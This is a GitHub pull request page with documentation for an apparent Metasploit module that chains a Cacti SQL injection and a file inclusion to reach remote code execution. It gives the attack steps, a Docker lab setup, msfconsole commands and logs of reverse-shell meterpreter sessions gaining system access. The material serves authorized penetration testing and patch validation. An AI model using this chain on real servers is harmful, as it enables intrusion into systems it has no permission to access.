-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Cacti RCE via SQLi (CVE-2023-49085) and LFI (CVE-2023-49084) #18769
Merged
Merged
Changes from all commits
Commits
Show all changes
5 commits
Select commit
Hold shift + click to select a range
f10619d
Add module and documentation
cdelafuente-r7 5054b3b
Add methods to get the version and the CSRF token
cdelafuente-r7 81eba7a
Use FileDropper mixin and fix typo
cdelafuente-r7 1ff1302
Use exceptions instead of returning a boolean in `do_login`
cdelafuente-r7 b91648f
Fix typos
cdelafuente-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
244 changes: 244 additions & 0 deletions
244
documentation/modules/exploit/multi/http/cacti_pollers_sqli_rce.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,244 @@ | ||
## Vulnerable Application | ||
|
||
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section. | ||
|
||
The module implements a `check` method that makes sure `pollers.php` is accessible. It also tries to run a basic time-cased SQL injection that will confirm if the application is vulnerable. It also bypass the [fix](https://github.com/Cacti/cacti/commit/4beb66dbe2c571c3216834c029bde2e951b401cf#diff-60434fdc6c83f03e69846c2640319eeee39da1b477e76e1ca0dca0519bbc9651) added in version 1.2.25. | ||
|
||
The exploit will do the following: | ||
- Login with the provided credentials | ||
- Perform a series of SQL injections to: | ||
- backup the current log file path and add a new path to the `settings` table | ||
- insert the new log file path to the External Links table (`external_links`) | ||
- add permission to access this external link to the current user (`user_auth_realm`) | ||
- Poison the log file to add the payload stager | ||
- Trigger the payload by accessing the external link page (`link.php)` | ||
- Cleanup the SQL tables that were modified to their original states | ||
- Remove the new log file that contains the stager | ||
|
||
### Docker installation of Cacti version 1.2.25 | ||
- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)): | ||
- `docker-compose.yml`: | ||
``` | ||
version: '2' | ||
services: | ||
web: | ||
build: ./cacti | ||
ports: | ||
- "8080:80" | ||
depends_on: | ||
- db | ||
entrypoint: | ||
- bash | ||
- /entrypoint.sh | ||
volumes: | ||
- ./entrypoint.sh:/entrypoint.sh | ||
command: apache2-foreground | ||
db: | ||
image: mysql:5.7 | ||
environment: | ||
- MYSQL_ROOT_PASSWORD=root | ||
- MYSQL_DATABASE=cacti | ||
``` | ||
- `entrypoint.sh`: | ||
``` | ||
#!/bin/bash | ||
set -ex | ||
|
||
wait-for-it db:3306 -t 300 -- echo "database is connected" | ||
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then | ||
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql | ||
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'" | ||
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'" | ||
fi | ||
|
||
chown www-data:www-data -R /var/www/html | ||
# first arg is `-f` or `--some-option` | ||
if [ "${1#-}" != "$1" ]; then | ||
set -- apache2-foreground "$@" | ||
fi | ||
|
||
exec "$@" | ||
``` | ||
- Create a `./cacti/` directory with `mkdir cacti` | ||
- Add the following files in the `./cacti/` folder (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22): | ||
- `Dockerfile`: | ||
``` | ||
FROM php:7.4-apache | ||
|
||
RUN apt-get update && \ | ||
apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \ | ||
wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev | ||
|
||
RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\ | ||
docker-php-ext-configure intl &&\ | ||
docker-php-ext-configure pcntl --enable-pcntl &&\ | ||
docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext | ||
|
||
RUN mkdir /var/www/html/cacti &&\ | ||
wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.25.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1 | ||
|
||
COPY config.php /var/www/html/cacti/include/config.php | ||
COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini | ||
``` | ||
- `cacti.ini` | ||
``` | ||
display_errors=off | ||
memory_limit=512M | ||
date.timezone=UTC | ||
max_execution_time=120 | ||
``` | ||
- `config.php` | ||
``` | ||
<?php | ||
$database_type = 'mysql'; | ||
$database_default = 'cacti'; | ||
$database_hostname = 'db'; | ||
$database_username = 'root'; | ||
$database_password = 'root'; | ||
$database_port = '3306'; | ||
$database_retries = 5; | ||
$database_ssl = false; | ||
$database_ssl_key = ''; | ||
$database_ssl_cert = ''; | ||
$database_ssl_ca = ''; | ||
$database_persist = false; | ||
$poller_id = 1; | ||
$url_path = '/cacti'; | ||
$cacti_session_name = 'Cacti'; | ||
$cacti_db_session = false; | ||
$disable_log_rotation = false; | ||
``` | ||
- Run `docker-compose up` | ||
- Access http://127.0.0.1:8080 | ||
- Login with the `admin` user (password: `admin`) | ||
- Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions) | ||
|
||
Note that other version can be installed this way by changing the `tar` file name in `Dockerfile` (`cacti-1.2.25.tar.gz`). | ||
|
||
|
||
### Cacti on Windows | ||
Download and run a Cacti installer from [here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password should be put in a file called `Cacti-Passwords.txt` by the installer, which is in the same location the installer was run. | ||
Follow the same installation steps as for the Docker installation. | ||
|
||
|
||
### Setup a new user | ||
- Login with the `admin` user (password: `admin`) | ||
- Go to `Configuration` > `Users` | ||
- Click on the `+` sign | ||
- Enter the `User Name`, `Password` and check the `Enabled` option. | ||
- Click `Create` | ||
- Go to the `Permissions` tab and set the `Sites/Devices/Data` permission in `General Administration` | ||
- Click `Save` | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use exploit/multi/http/cacti_pollers_sqli_rce` | ||
1. Do: `set target <target>` | ||
1. Do: `set payload <payload>` | ||
1. Do: `run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>` | ||
1. You should get a shell. | ||
|
||
## Options | ||
|
||
### USERNAME | ||
The user to login with (default `admin`). | ||
|
||
### PASSWORD | ||
The password to login with (default `admin`) | ||
|
||
### TARGETURI | ||
The base URI of Cacti (default `/cacti`). | ||
|
||
|
||
## Scenarios | ||
|
||
### Cacti version 1.2.25 on Docker installation | ||
``` | ||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 0 | ||
target => 0 | ||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678 | ||
|
||
[*] Started reverse TCP handler on 192.168.144.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking Cacti version | ||
[+] The web server is running Cacti version 1.2.25 | ||
[*] Attempting login with user `msfuser` and password `12345678` | ||
[+] Logged in | ||
[*] Checking permissions to access `pollers.php` | ||
[*] Attempting SQLi to check if the target is vulnerable | ||
[+] The target is vulnerable. | ||
[*] Backing up the current log file path and adding a new path (log/cacti520.log) to the `settings` table | ||
[*] Inserting the log file path `log/cacti520.log` to the external links table | ||
[*] Getting the user ID and setting permissions (it might take a few minutes) | ||
[*] Logging again to apply new settings and permissions | ||
[*] Getting the CSRF token to login | ||
[*] Attempting login with user `msfuser` and password `12345678` | ||
[+] Logged in | ||
[*] Poisoning the log | ||
[*] Triggering the payload | ||
[*] Sending stage (3045380 bytes) to 192.168.144.1 | ||
[*] Cleaning up log file | ||
[*] Meterpreter session 8 opened (192.168.144.1:4444 -> 192.168.144.1:51181) at 2024-01-29 22:00:19 +0100 | ||
[*] Cleaning up external link using SQLi | ||
[*] Cleaning up permissions using SQLi | ||
[*] Cleaning up the log path in `settings` table using SQLi | ||
|
||
meterpreter > getuid | ||
Server username: www-data | ||
meterpreter > sysinfo | ||
Computer : 172.25.0.3 | ||
OS : Debian 11.5 (Linux 6.5.11-linuxkit) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
``` | ||
|
||
### Cacti version 1.2.24 on Windows 11 | ||
``` | ||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 1 | ||
target => 1 | ||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp | ||
payload => cmd/windows/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678 | ||
|
||
[*] Started reverse TCP handler on 192.168.144.1:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking Cacti version | ||
[+] The web server is running Cacti version 1.2.24 | ||
[*] Attempting login with user `msfuser` and password `12345678` | ||
[+] Logged in | ||
[*] Checking permissions to access `pollers.php` | ||
[*] Attempting SQLi to check if the target is vulnerable | ||
[+] The target is vulnerable. | ||
[*] Backing up the current log file path and adding a new path (log/cacti715.log) to the `settings` table | ||
[*] Inserting the log file path `log/cacti715.log` to the external links table | ||
[*] Getting the user ID and setting permissions (it might take a few minutes) | ||
[*] Logging again to apply new settings and permissions | ||
[*] Getting the CSRF token to login | ||
[*] Attempting login with user `msfuser` and password `12345678` | ||
[+] Logged in | ||
[*] Poisoning the log | ||
[*] Triggering the payload | ||
[*] Sending stage (200774 bytes) to 192.168.144.134 | ||
[*] Cleaning up log file | ||
[*] Meterpreter session 7 opened (192.168.144.1:4444 -> 192.168.144.134:64144) at 2024-01-29 21:58:59 +0100 | ||
[*] Cleaning up external link using SQLi | ||
[*] Cleaning up permissions using SQLi | ||
[*] Cleaning up the log path in `settings` table using SQLi | ||
|
||
meterpreter > getuid | ||
Server username: NT AUTHORITY\SYSTEM | ||
meterpreter > sysinfo | ||
Computer : DESKTOP-26CQRHP | ||
OS : Windows 11 (10.0 Build 22000). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x64/windows | ||
``` |
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you for including this! 🙇 Details like these make installation nice and easy.